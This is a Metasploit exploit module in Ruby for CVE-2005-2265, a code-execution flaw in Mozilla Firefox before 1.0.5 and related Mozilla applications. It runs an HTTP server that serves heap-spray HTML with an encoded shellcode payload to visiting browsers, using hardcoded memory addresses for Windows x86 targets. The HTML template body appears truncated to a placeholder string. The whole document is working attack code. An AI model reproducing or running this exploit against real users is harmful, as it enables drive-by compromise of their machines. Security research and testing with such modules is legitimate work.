require 'msf/core' module Msf class Exploits::Multi::Browser::Mozilla_CompareTo < Msf::Exploit::Remote # # This module acts as an HTTP server # include Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Mozilla Suite/Firefox InstallVersion->compareTo() Code Execution', 'Description' => %q{ This module exploits a code execution vulnerability in the Mozilla Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit module is a direct port of Aviv Raff's HTML PoC. }, 'License' => MSF_LICENSE, 'Author' => ['hdm', 'Aviv Raff '], 'Version' => '$Revision: 3637 $', 'References' => [ ['BID', '14242'], ['OSVDB', '17968'], ['CVE', '2005-2265'], ['URL', 'http://www.mozilla.org/security/announce/mfsa2005-50.html'], ], 'Payload' => { 'Space' => 400, 'BadChars' => "\x00", }, 'Targets' => [ [ 'Firefox < 1.0.5 Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'Addrs' => [ 0x12000000, 0x11C0002C, 0x1200002C, 0x1180002C ], } ], ], 'DisclosureDate' => 'Jul 13 2005' )) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' }) handler(cli) end def generate_html(payload) enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch)) spray_to = sprintf("0x%.8x", target['Addrs'][0]) spray_slide1 = Rex::Text.to_unescape( [target['Addrs'][1]].pack('V'), Rex::Arch.endian(target.arch) ) spray_slide2 = Rex::Text.to_unescape( [target['Addrs'][2]].pack('V'), Rex::Arch.endian(target.arch) ) eax_address = sprintf("0x%.8x", target['Addrs'][3]) return %Q| One second please... | end end end